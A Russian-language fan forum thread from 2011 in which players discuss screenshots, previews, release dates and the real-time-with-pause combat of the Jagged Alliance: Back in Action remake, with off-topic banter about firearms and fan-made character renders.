Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 12.02.2011 в 01:07:40
2Green Eyes: между "можно сделать" и "сделают" есть некая маленькая, трудноосязаемая разница... ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем CopperminE на 23.02.2011 в 04:19:03
Ух страшно мне, ребят, страшно... Такое чувство, что опять выйдет ДЖАЗ или еще какая фекалия.:( Эта новая кампания, как я понял, делала только детские развивающие игры. Но вот про JA Online они вообще молчат, хотя выход в этом году.:(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 26.02.2011 в 05:58:59
а я вот думаю что  “Jagged Alliance: Back in Action”  норм получится.я только не понимаю,она будет пошаговая или только реал-тайм?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 26.02.2011 в 08:30:42
2smit86: Реалтайм c паузой. Повидимому как в Combat mission.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 26.02.2011 в 16:58:40
Новая партия скриншотов :)
http://www.jaggedalliance.com/wp-content/gallery/jagged-alliance-back-in-action-screenshots/jar_screens_feb_02.jpg

http://www.jaggedalliance.com/wp-content/gallery/jagged-alliance-back-in-action-screenshots/jar_screens_feb_01.jpg

http://www.jaggedalliance.com/wp-content/gallery/jagged-alliance-back-in-action-artworks/jar_characterposes3.png

http://www.jaggedalliance.com/wp-content/gallery/jagged-alliance-back-in-action-screenshots/jar_screens_feb_03.jpg

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 28.02.2011 в 03:23:47

on 1298701842, bugmonster wrote:
Реалтайм c паузой. Повидимому как в Combat mission.

Это уже не Джага! :(

on 1298732320, Dredd21 wrote:
Новая партия скриншотов

Красиво!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 28.02.2011 в 06:14:27

on 1298732320, Dredd21 wrote:
Новая партия скриншотов
Кстати, на таком масштабе и на таком уровне детализации уже видно, что травы нет, а есть какая-то странная земля зеленого цвета. Лишайниками она покрыта, что ли? ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 28.02.2011 в 06:21:06

on 1298866467, Ushwood wrote:
Кстати, на таком масштабе и на таком уровне детализации уже видно, что травы нет
- ну на без крабье и рак - крокодил. Я надеюсь, что эти скрины с низкой детализацией. ;D
Но все равно, если будет без пошаговых боёв - скачаю только ради того, что бы на "запчасти" разобрать. ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 28.02.2011 в 06:40:47
2Head_Crusher:

Quote:
Это уже не Джага!  

Онив курсе и им пофиг.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zink на 28.02.2011 в 07:24:33

on 1298866866, Green Eyes wrote:
Но все равно, если будет без пошаговых боёв - скачаю только ради того, что бы на "запчасти" разобрать.
Вроде гдето уже писали что пошаговых боев не будет. Будет реалтайм с возможностью включить паузу.
Если хочешь заценить геймплей то поиграй в Санитары подземелий. Геймплей своеобразный, хорошо что там всего 4 человека в команде. Т.к. каждому приходится постоянно объяснять в кого стрелять, что пить и куда смотреть. По мне так для джаги такой геймплей вообще не годится. Получается минимум тактики, максимум экшена. Но как уже писали выше, им пофиг.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем jz на 28.02.2011 в 17:33:20

on 1298870673, Zink wrote:
По мне так для джаги такой геймплей вообще не годится. Получается минимум тактики, максимум экшена.
Это хороший ход - можно не делать АИ, ограничиться скриптами. Вот если бы ja3 делали создатели FEAR...
Скорее всего, JA3 делают упор на мультиплейер.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 28.02.2011 в 22:47:45
Они делают упор на ММО (Ja Online). Отсюда и отсутствие пошаговки. Зачем им понадобился это "римейк"? Видимо движок обкатать и срубить бабок на изготовление этого ММО.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zink на 28.02.2011 в 23:47:15

on 1298926065, bugmonster wrote:
Они делают упор на ММО (Ja Online). Отсюда и отсутствие пошаговки. Зачем им понадобился это "римейк"? Видимо движок обкатать и срубить бабок на изготовление этого ММО.
Сечас существует куча пошаговых онлайн игрушек. Так что отсутствие пошаговки связано скорее всего не с этим. Почему изначальный Fallout 3 тоже должен стать реалтаймом? Да потому что пошаговые игры хуже продаются. Целевая аудитория жаждит экшена, а не сидеть и продумывать ходы.
А бабло они срубят по любому. Даже если игра будет неудачной в плане геймплея миллионы поклонников серии купят ее для коллекции.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 01.03.2011 в 00:24:59

on 1298929635, Zink wrote:
миллионы поклонников

:lol:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zink на 01.03.2011 в 01:09:58
Ну может слегка преувеличил. Но все от чистого сердца ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 01.03.2011 в 03:02:08
миллитонны поклонников

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 01.03.2011 в 03:13:32
А что не АИМом живы джадишники. Вдруг действительно наберётся парочка миллионов. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 01.03.2011 в 09:18:21
Не знаю насчет "миллионов поклонников", но лично я реалтаймовую джагу не то что не куплю - я ее даже на торрентах не скачаю.

Да-да, можете не повторять, я уже знаю - "всем пофиг".

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 01.03.2011 в 09:24:52
2Ushwood: мне пофиг )

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 01.03.2011 в 15:08:27
2Ushwood:  мне пофиг ) [дубль2]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 01.03.2011 в 18:00:52
А мне вообще фиолетово. ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Shico на 02.03.2011 в 04:01:36
2Ushwood: мне пофиг ) [дубль3]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 02.03.2011 в 05:39:56
2Shico:
А еще модератор... нет в жизни совершенства, один я идеален  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 02.03.2011 в 05:43:59
2Zed:  
Quote:
А еще модератор... нет в жизни совершенства, один я идеален  ;D

А нам пофиг  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 02.03.2011 в 17:50:07

on 1298963901, Ushwood wrote:
Не знаю насчет "миллионов поклонников", но лично я реалтаймовую джагу не то что не куплю - я ее даже на торрентах не скачаю


on 1298964292, Sot wrote:
мне пофиг )  


on 1298984907, KombaT wrote:
мне пофиг ) [дубль2]  


on 1299031296, Shico wrote:
мне пофиг ) [дубль3]  


on 1299037439, bugmonster wrote:
А нам пофиг  ;D

.....
Ну вот, глядишь, через N-ый промежуток времени и наберутся те самые пару миллионов фанатов, и будет написано очередное "А мне пофиг :) [дубль 2.000.012]", и все скачают хоть и реалтаймовскую, полоротую, но все же родную игру  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 03.03.2011 в 09:20:47

on 1299081007, KombaT wrote:
Ну вот, глядишь, через N-ый промежуток времени и наберутся те самые пару миллионов фанатов
- а не по фиг? Нет, серьёзно. Многие тайлы были загублены, после того, как попали в чужие руки СnC, например, или Готика. Ждать чего-то особенного, я думаю, не стоит.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 12.03.2011 в 07:10:38
Preview http://www.gamezone.com/previews/product/jagged_alliance_back_in_action_-_pc/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 12.03.2011 в 07:41:16

Quote:
With titles like Fallout and X-Com going in completely new directions, Jagged Alliance is more traditional.

;D Афтар жжот.

Скриншоты без UI и не первой свежести, в тексте вода - журналист игру даже издали не видел, а написал что сам придумал по мотивам интернетов.
В то что это такой заказной пиар не верится, дешево как то.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 12.03.2011 в 09:01:56
Вы меня извините, но это преждевременный журналазм какой-то.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем HaWk на 12.03.2011 в 10:37:12

on 1299081007, KombaT wrote:
Ну вот, глядишь, через N-ый промежуток времени и наберутся те самые пару миллионов фанатов, и будет написано очередное "А мне пофиг  [дубль 2.000.012]", и все скачают хоть и реалтаймовскую, полоротую, но все же родную игру  
согласен с комбатом- все скачают :) :) :)
Но это уже не будет джага,которую мы знаем ,больше чем уверен,что то что было в НО и 1.13 (то ,что можно реализовать в реал-тайме)разрабы не реализуют.Остается надеяться,что ига будет хорошой по меркам тактических реалестичных RTS.
[offtop]Но есть еще пример как была загублена великая пошаговая стратегия
front mission(из нее зделали одноразовый шутер  типа пршел 1 раз и забыл)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 12.03.2011 в 18:56:07
Линк на это превью выложен на сайте игры, более того, там второе превью
http://www.jaggedalliance.com/en/2011/03/gdc-feedback/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем HaWk на 12.03.2011 в 20:44:14
2Dredd21: первое превью на ссылке которую  ты выложил очень короткое(и скиншот 1 и то только скалы на нем видно) а ссылка на второе превью уже была выложена выше(и тобой же).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 12.03.2011 в 21:14:09

Quote:
From what we can tell from our brief demonstration, Back in Action brings back all the elements of the classic tactical strategy game, including limited action points for each mercenary to spend each turn on movement, reloading, firing, throwing grenades, using explosives, patching up wounded teammates, and so on. If you happen to be carrying an automatic weapon, you can also still set your firing mode to single shot, burst, and full auto. Back in Action also uses Jagged Alliance 2's line-of-sight system, which displays each character's field of view as a triangular cone on the ground radiating outward, and just like in the original game, your best bet, at least early on, will be to stay low, stay out of sight, and pick off enemies one by one.

Жесть :) Краткий перевод: я журналист не видел ни ja2 ни ja:BIA но за небольшие деньги я пишу что скажут.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 02.04.2011 в 07:24:21
Новые модели
http://www.jaggedalliance.com/en/wp-content/gallery/jagged-alliance-2-reloaded-artworks/jar_characterposes7.png

http://www.jaggedalliance.com/en/wp-content/gallery/jagged-alliance-2-reloaded-artworks/jar_characterposes2.png

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем HaWk на 02.04.2011 в 08:23:07
Ну ,как всегда, бравый амкриканский сецназ/наемники и имба м-16,м-4.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 03.04.2011 в 19:56:49
Early version of the game.
release: end of 2011.
Взята сцылка на видео с сайта вконтакте.

<iframe src="http://vkontakte.ru/video_ext.php?oid=-2244302&id=159614879&hash=5d8a6163c42e9e3c&hd=3" width="607" height="360" frameborder="0"></iframe>

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем HaWk на 03.04.2011 в 20:08:48
А,что у них у всех лица,как у Игоря? :-/ :-/ :-/ :-/
Блин ,долбанный интернет,лагает видео,потом досмотрю.
Похоже будет просто "тактическая rts".

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 03.04.2011 в 20:09:46
2Dredd21: Вне этого Контакта видео есть?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 03.04.2011 в 20:23:57
Я нагуглить не смог.. Но видео открывается без входа вконктакт под логином и паролем ( у меня по крайней мере). Залил на ifolder. http://ifolder.ru/22758321

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zink на 03.04.2011 в 22:25:13
Судя по четрем Игорям это ролик из беты. Во всяком случае я на это надеюсь. Некоторые моменты так и не понял, враги стоят как стати или это такая пауза?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем HaWk на 04.04.2011 в 02:18:20

on 1301858713, Zink wrote:
Некоторые моменты так и не понял
нам надо учить немецкий:umnik: ;D
Форточный медиа плеер не хочет воспроизводить этот файл,посоветуйте плеер,который сможет...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zink на 04.04.2011 в 02:47:38
http://smplayer.sourceforge.net/index.php?tr_lang=ru
Точно сможет.
Хотя у меня проиграл прямо в браузере по ссылке на вконтакт.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем HaWk на 05.04.2011 в 07:48:05

on 1301874458, Zink wrote:
Хотя у меня проиграл прямо в браузере по ссылке на вконтакт.

просто у меня интернет лагает.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 08.05.2011 в 04:17:41
Gamestar Preview & Dev Diary 4
http://www.jaggedalliance.com/en/
http://www.jaggedalliance.com/Downloads/Jagged_Alliance_Back_in_Action_English_GameStar_Preview.pdf

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 08.05.2011 в 17:59:36
О, уже что-то интересненькое. Мы снова возвращаемся в Арулько? С одной стороны это плохо - уже достало, с другой - отлично. Если это возрождение, то сюжет менять не стоит - "старичьё" не примет. :)

От скриншотов не горячо, не жарко.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 25.05.2011 в 06:05:52
http://www.bit-composer.com/www_en/newsarchive.aspx?newsid=21063c59-c2f1-48a9-96bd-94a0a684147b
Судя по всему, игра выйдет осенью 2011 года.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 25.05.2011 в 06:37:01
Надеюсь,будет оружие русского спецназа(надоела "классика" в играх :ак47,ак74у,макаров,свд,рпг7).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 25.05.2011 в 07:11:47
2Kestrel:
[offtop]
on 1306294621, Kestrel wrote:
ак74у

Не принципиально, но для точности: НЕТ такого ствола.
(74ая линейка включает: АК74, АКС74, АК74М, АК74Н, АКС74У, АКС74УН, АКС74УБ)
;)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 27.05.2011 в 19:23:33

on 1306292752, Dredd21 wrote:
Судя по всему, игра выйдет осенью 2011 года.  
- угу, конец света этот, извиняюсь, чмырь как раз на осень передвинул.


on 1306294621, Kestrel wrote:
Надеюсь,будет оружие русского спецназа(надоела "классика" в играх :ак47,ак74у,макаров,свд,рпг7).  
- откуда у наёмников современное "оружие русского спецназа"? Я конечно понимаю, что страна продажная, но обычно совершенные стволы и новые разработки в вооружении даже на публике не показывают.
А классика распространена по всему свету (которому скоро конец). АК, старые М16, РПГ-7, линейка HK, FN Fal и куча пистолетов середины и конца прошлого века. Всякие OICW слишком громоздки, неудобны и прихотливы не только для "народного ополчения", но и для кадровых военных каких-либо "банановых республик". :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 27.05.2011 в 22:46:31
Я в видео вроде видел у одного из наемников SCAR,а на одном из скиншотов у найма крутая бронебойная снапа.Похоже,что будет крутое оружие от НАТО.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 27.05.2011 в 23:23:25

on 1306525591, Kestrel wrote:
у найма крутая бронебойная снапа.
- [offtop]похоже Баррет. Но ни Скаром ни Барретом уже никого не удивишь. :)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 30.05.2011 в 09:42:56
2Green Eyes:  [offtop]
on 1306527805, Green Eyes wrote:
похоже Баррет. Но ни Скаром ни Барретом уже никого не удивишь.  

Валом и грозой тоже никого не удивишь,только в забугорных играх их нет :(.
Разве что в сплинтер селл конвикшен вихрь был(но глушитель в игре почему-то не добавили)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 30.05.2011 в 10:08:21

on 1306737776, Kestrel wrote:
Валом и грозой тоже никого не удивишь,только в забугорных играх их нет
- Вал то как раз в джаге был.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 06.06.2011 в 04:14:38

on 1306739301, Green Eyes wrote:
- Вал то как раз в джаге был.


в оригинальной не было.  в Wildfire был

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 06.06.2011 в 05:41:47

on 1307322878, SSSVOLOCH wrote:
в оригинальной не было.
- в ЦС был.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 06.06.2011 в 06:53:31
2Green Eyes:
[offtop]
on 1307328107, Green Eyes wrote:
- в ЦС был.

ЕМНИП, в ЦС был ВСС "Винторез", а не АС "Вал" [/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем jz на 06.06.2011 в 07:17:20

on 1307332411, KombaT wrote:
в ЦС был ВСС "Винторез"
с картинкой от АС Вал  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Shico на 06.06.2011 в 13:47:15
Знатоки :))
последние 5 сообщений не относятся к тебе Джа3 :))))))))))

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 09.06.2011 в 20:23:27
А вот и появилась точная дата выхода - 18 октября в US, 21 октября в UK.
http://www.jaggedalliance.com/en/2011/06/grab-your-guns-and-prepare-to-go-%e2%80%9cback-in-action%e2%80%9d-this-fall-%e2%80%93-official-release-date-announced/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 09.06.2011 в 20:34:33

on 1307640207, Dredd21 wrote:
А вот и появилась точная дата выхода - 18 октября в US, 21 октября в UK.  
- и как обычно, хз - в остальном мире. ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Macbeth на 10.06.2011 в 03:27:48
Трубят везде
http://lenta.ru/news/2011/06/09/jaremake/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 10.06.2011 в 03:40:02
Так, признавайтесь, кто на ленту.ру работает? 8)

---
Всё таки оставили этот, прошу прощения, гадкий реалтайм. Обидно-с.

Е5 и 7.62 только из-за неудобного реалтайма и не понравились. А в Джазе всё было на уровне между первой и второй частей Джа, но с новой графикой.



Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 10.06.2011 в 03:43:40

on 1307666402, Green Eyes wrote:
Так, признавайтесь, кто на ленту.ру работает? 8)  

Судя по тексту - школьник какой то.  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 10.06.2011 в 20:43:49
Ну и до кучи один новый скрин http://www.ag.ru/screenshots/jagged_alliance_back_in_action/387896#show

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 17.06.2011 в 05:51:47
http://www.gametrailers.com/video/e3-2011-jagged-alliance/715895  :) кажись все будет ок!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 17.06.2011 в 18:11:01

on 1308279107, smit86 wrote:
кажись все будет ок!  
- не будет. Реалтайм и умная пауза уже всё портит. Тактическая игра, как шахматы - каждый ход продумать надо. А если хотите боевой динамики - шутеры в руки.
Секторов меньше, чем в Джа2 (но это проблема многих современных игр).

Ладно, поживём - увидим. Если будут руководства по взлому игровых архивов (или простенькие SDK) и редактор карт (чем не грешат в последнее время), то авось и приживётся. Но меня терзают смутные сомненья.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 20.06.2011 в 05:09:20
Ужасть а не игра.Не дмаю что игра будет норм.Эта пауза-все блин ломает =(.Даешь пошаговку =(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 20.06.2011 в 21:12:10
Ну я вот от игры максимум что жду - что-то типа Бригада E. В превью, которое здесь проскальзывало в минусы так и написали - отсутствие tb (пошаговки). Разработчики в курсе, что фанаты/поклонники хотят пошаговку, но делают все по своему.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 21.06.2011 в 03:52:04
Точно, про видео это больше похоже на римейк Бригады/7.62. Которая тоже задумывалась как... я зациклился  :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 22.06.2011 в 21:21:52
2PARKAN: Спорим, что сколько не засирать "непошаговку", а всё равно JA3 попробует каждый  :) Я лично приму его и таким, конечно шахматный стиль игры нам роднее и привычнее, но если хорошо доработают полоротую Бригаду Е, то тоже сойдет, так как это более реалистичная система боя во времени.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 23.06.2011 в 20:46:40
А вот и новая порция скриншотов :) http://www.ag.ru/screenshots/jagged_alliance_back_in_action

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 23.06.2011 в 20:59:13
игра признана лучшей стратегией на E3 2011  :).думаю я её пройду.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 23.06.2011 в 23:29:19

on 1308851953, smit86 wrote:
игра признана лучшей стратегией на E3 2011

Поди единственная была ? :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 24.06.2011 в 00:14:12
А если еще учесть, что это, в принципе, не стратегия...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 24.06.2011 в 00:27:12

on 1308851953, smit86 wrote:
игра признана лучшей стратегией на E3 2011  :).думаю я её пройду.  

*Подозрительно* а вы собственно кто такой?
В номинантах e3 2011 Jagged Alliance: Back in Action не значится.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 24.06.2011 в 05:10:14
[offtop]JA Back in Action - чемпион среди какао!  ;D[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 24.06.2011 в 18:14:18

on 1308851953, smit86 wrote:
игра признана лучшей стратегией на E3 2011
- зхначит точно, овно. :P

2bugmonster:  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 25.06.2011 в 05:27:52
http://www.youtube.com/watch?v=BZkkIW9rKrM&feature=player_embedded
П.С:посмотрел видео.вполне не плохой проект нас ждет.но думаю что в этой игре актион пойнт :) даже и не нужны.она более масштабная.
Я пока даю оценку 8.Посмотрим в конце

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 25.06.2011 в 06:25:16
2smit86: А по фотографии вы случайно не лечите, уважаемый? :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Strax5 на 25.06.2011 в 06:34:18
Демка интересная, но это не джа. В ней духа джа нет.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 25.06.2011 в 07:04:13
2bugmonster: А я Вам скорее порчу по фотографии наведу.  :P
Игра вроде даже ничего смотрится может и круто, даже чем-то похоже на ДЖа, но Strax5 прав.  

Quote:
это не джа. В ней духа джа нет.
Мне это напоминает ДЖАЗ Работа по найму, но менее управляемо, а мнение о ДЖАЗе тут не высокое, я конечно видел список патчей на 10 страниц, устраняющих многие баги, но он меня не порадовал.  :(
Вернёмся к ДЖа3. Мне не понравились портреты - они угловатые, не мой стиль.  8) А разработчики наверняка сделают, чтоб нам было сложно поставить привычные красивые портреты.  ::)  
У меня плохое зрение и мелкие детали меня огорчают. Я и в НО играю с разрешением 640Х400. А тут инвентарь - просто слёзы, поножи такого размера, будто это средство контрацепции на мерка надето.
:weep: :weep: :weep: :weep: :weep:
Эффекты убийства врага (замедленные и укрупнённые) тяготеют к дешёвым боевикам и отвлекают от игры.  :(Сделают сейчас из лучшей игры всех времён контрстрайк от 3 лица.  :(
Лично моё мнение: "Бог с ним, с ДЖа3. Модостроим, ребята!"  ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 25.06.2011 в 18:14:31
Нет, им точно нужен лицевой дизайнер - вот это рожи (я не про разработчиков).

Остальной gui ничего так, но не в gui счастье.


on 1308974653, Lion wrote:
с ДЖа3. Модостроим, ребята!
- если немцы не фашисты, то добавят нам редактор карт (а мне пофигу, что карты у них через 3D редактор) и приличный SDK. Так же понятные архивы для распаковки (в ДЖАЗе хотя бы это было).
Если нет - то игра овно окончательное и обжалованию не подлежит.


on 1308974653, Lion wrote:
поножи такого размера, будто это средство контрацепции на мерка надето.  
- это пояс верности. Верности AIM. ;)

2bugmonster: Помнишь разговор, про ботинки? У них ботинки есть! Напрашиваются на стёб. ;D

ПС: пока даю оценку - 0. Нечего оценивать. Пока нечего (акромя ботинок и трусов - глумитесь, господа). ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Irishman на 25.06.2011 в 18:41:02

on 1308974653, Lion wrote:
поножи такого размера, будто это средство контрацепции на мерка надето
Круто сравнил  ;D.
ЗЫ: Ботинки - это круто.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 25.06.2011 в 21:30:42
2Green Eyes: Я имел ввиду модостроение к ДЖа2 - это привычней и, возможно, качественней.  ;)

on 1309014871, Green Eyes wrote:
У них ботинки есть!
Какие ботинки??? Ах да, теперь вижу, размер так 25.  :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 25.06.2011 в 21:32:21
Jagged Alliance: Back in Action E3 Awards http://www.jaggedalliance.com/en/2011/06/jagged-alliance-back-in-action-e3-awards/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 25.06.2011 в 22:58:49
2Dredd21:

Quote:
Exclusive Game award by Gaming Excellence

Перевожу - мы тут с Михалычем за маленькую деньшку всякую хрень награждаем.
Ну кстати оно там даже не выиграло:
http://www.gamingexcellence.com/features/88.shtml?page=3

Я знаю только одну более или менее адекватную премию E3
http://www.gamecriticsawards.com/  – это совместный проект 35 изданий и блогов про игры и не только: Kotaku, USA Today, Entertainment Weekly, Game Informer, Giant Bomb, Gamespot, Wired, Associated Press, IGN, G4 и так далее.

PR такой пиар...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Georg на 25.06.2011 в 23:30:03
Я в создании игр не разбираюсь,мне просто интересно.Почему все стали делать
игры с паузой,а не пошаговки,что с паузой проще делать?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 25.06.2011 в 23:40:07

on 1309033803, Georg wrote:
Почему все стали делать
игры с паузой

Потому что маркетинговые исследования показали что в основной массе люди тупые и думать не любят. Следовательно для зарабатывания стотен тысяч енотов нужно делать игры с уровнем сложности для 3 летних детей.
Через пару лет даже стратегии будут выглядить в стиле: *огромная надпись поперек экрана* "противник на пал на вашу базу, быстро быстро нажимайте пробел чтобы отбить нападение"  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 25.06.2011 в 23:59:56

on 1309034407, Zed wrote:
Потому что маркетинговые исследования показали что в основной массе люди тупые и думать не любят.  
Я это без всякого исследования сказал бы, да меня не спросили.  :(

on 1309034407, Zed wrote:
*огромная надпись поперек экрана* "противник на пал на вашу базу, быстро быстро нажимайте пробел чтобы отбить нападение"  ;D
Протестую. Должно быть так (в английском варианте):
*огромная надпись поперек экрана* "You are under attaсk!!! Please, press anykey!!!"  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 26.06.2011 в 00:02:28

on 1309034407, Zed wrote:
нужно делать игры с уровнем сложности для 3 летних детей.  
- ага и писать на них "+16" и "+18", что бы эти дети сметали такую фигню, как пирожки. :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 26.06.2011 в 00:12:40

on 1309035748, Green Eyes wrote:
ага и писать на них "+16" и "+18"
Игра не рекомендуется детям до 18, беременным женщинам и слабонервным...  8)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 26.06.2011 в 00:54:00

on 1309036360, Lion wrote:
Игра не рекомендуется детям до 18, беременным женщинам и слабонервным...
- [offtop]параноидальным, своевольным, дистрофичным, еретичным, нелогичным, практичным, утопичным, эгоистичным, пессимистичным, систематичным, античным и свидетелям Иеговы. ::)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 28.06.2011 в 19:10:28
Посмотрел немецкий репортаж - в принципе, неплохо! По крайней мере, на первый взгляд! ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 30.06.2011 в 05:36:10
Ну и ладно, я сделаю свой ремейк Джа 2 в 3Д, с рингом и девочками из борделя!

http://ja2.su/sclad/bugmonster/imgb.jpghttp://ja2.su/sclad/bugmonster/imgg.jpg
http://ja2.su/sclad/bugmonster/imgh.jpghttp://ja2.su/sclad/bugmonster/imgi.jpg
http://ja2.su/sclad/bugmonster/imgis.jpghttp://ja2.su/sclad/bugmonster/imgq.jpg
http://ja2.su/sclad/bugmonster/imgs.jpghttp://ja2.su/sclad/bugmonster/imgsc.jpg

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 30.06.2011 в 06:02:55
http://ja2.su/sclad/bugmonster/djaba.jpg

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 30.06.2011 в 18:09:46

on 1309401370, bugmonster wrote:
Ну и ладно, я сделаю свой ремейк Джа 2 в 3Д, с рингом и девочками из борделя!  
- так нельзя, они же все лысые!!! :o
Надо их заволосатить. Немедленно!!! ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Strax5 на 30.06.2011 в 21:59:06
Блад, Гас, Стрелок, ?, ?, Кью, Тень, ?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 30.06.2011 в 22:23:45
Ещё Айра, Стрелка и Иван (?).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 01.07.2011 в 02:35:08
2Green Eyes: Неси зачотку. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 01.07.2011 в 02:47:03
2bugmonster: просто шикарно! Особенно Кью! Зачотно!:kruto:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 01.07.2011 в 03:19:25
Что мне уже не нравиться в JA3, так это стрельба с винтовок в упор - опять песочница в 3D оформлении.  :P

